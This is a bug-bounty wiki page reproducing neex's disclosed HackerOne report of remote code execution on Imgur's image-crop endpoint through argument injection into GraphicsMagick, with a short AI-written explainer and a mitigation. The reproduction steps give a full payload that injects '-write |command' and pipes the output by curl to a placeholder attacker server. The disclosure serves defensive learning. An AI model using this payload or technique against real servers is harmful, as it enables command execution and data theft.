Skip to content
RCE Disclosed report Intermediate CVE-2016-10033

RCE by command line argument injection to `gm convert` in `/edit/process?a=crop`

The y parameter of the /edit/process endpoint was passed to a shell command without escaping spaces, allowing an attacker to inject additional command-line arguments to GraphicsMagick's gm convert. By using the -write option with a pipe-prefixed filename, an attacker could execute arbitrary commands on the server.

neex Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 44 hours
  • Fixed in 16 days
  • Paid in 16 days
  • Disclosed after 46 days

Summary

The y parameter of /edit/process endpoint (with a=crop) is vulnerable to command-line argument injection to something that appears to be GraphicsMagick utility (probably gm convert). Due to GraphicsMagick's hacker-friendly processing of |-starting filenames supplied to -write option, it leads to command execution.

Reproduction steps

  1. Enable Burp Proxy or similar software that allows you to log and edit HTTP requests.

  2. Login into your imgur account and upload an image.

  3. Move your mouse over the image, click on the tiny button with pencil on it, then click "Edit".

  4. Select a random rectangle on the image, then click "Apply".

  5. In the burp suite, you will see a request to an URL like this: http://<your-account>.imgur.com/edit/process?imageid=c9e1351c21542062f35a12130945210b&a=crop&x=0&y=0&w=700&h=746&random=4011802027746510

    Change the y parameter of the request so it becomes 0 -write |ps${IFS}aux|curl${IFS}http://<your-server>${IFS}-d${IFS}@-.

    The full URL after the change must look like http://<your-account>.imgur.com/edit/process?imageid=c9e1351c21542062f35a12130945210b&a=crop&x=0&y=0%20-write%20|ps${IFS}aux|curl${IFS}http://<your-server>{IFS}-d${IFS}@-&w=700&h=830&random=9905392865702303, note that you have to change <your-server> to a webserver under your control).

  6. Fire a request to the modified URL. The command (ps aux|curl http://<your-server> -d @-) will be executed somewhere inside imgur, and you will get a HTTP request to <your-server> with the result of ps aux in the POST body. You can replace ps aux with another command (but you have to write ${IFS} instead of spaces).

Detailed description

I was searching for CVE-2016-10033-like vulnerabilities on several bugbounty sites when I noticed strange behaviour of the mentioned parameter. The vulnerability exists because the user input (the contents of y GET parameter) goes into a shell command. While all special characters (like |, $ and so on) seem to be escaped, the space character is not. This allows the attacker to insert additinal command line arguments. The common reason for such behaviour is escapeshellcmd PHP function, but that can also be some kind of custom input filtering/processing.

The rest of the exploitation depends on the program that is executed (we need to find out if it supports any dangerous command-line options). Common sense suggests that the external command launched by "Crop/Resize" function must be some image processing tool. The most popular one is ImageMagick/GraphicsMagick, so I appended -rotate 90 to the parameter and it succeded --- I saw lying Trump (I mean, the image was rotated). After more tries I was sure it's GraphicsMagick (probably gm convert utility). I read the documentation and found that -write argument supports perl-style filenames starting with a pipe --- in this case the rest of the filename must be a command to execute.

Mitigation

Probably either some kind of custom processing or escapeshellcmd function is used to construct the command line. In both cases, replace it with applying escapeshellarg to individual arguments. In the second case, you probably want to run grep -R escapeshellcmd <path to the source code> to find more vulns :-)

The original report as published on HackerOne, by neex. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application used escapeshellcmd (or similar) which escapes special characters but not spaces, allowing argument injection into the gm convert command.

Impact

An attacker could execute arbitrary commands on the server, leading to remote code execution.

What the attacker needed

An Imgur account; ability to upload an image; a server to receive data

The fix

The application should use escapeshellarg on each argument instead of escapeshellcmd.

How it was found

  1. Log in to Imgur and upload an image.
  2. Click the pencil button and select Edit.
  3. Draw a rectangle and click Apply.
  4. Capture the resulting /edit/process request in Burp.
  5. Modify the y parameter to include additional arguments.
  6. Send the request and receive command output on your server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you crop an image on Imgur, the site runs a command-line program. The y value you sent was not fully cleaned, so extra instructions could be slipped into that program, letting an attacker run commands on Imgur's servers.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by neex

View all

5 more disclosed reports, best first.

More from Imgur

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.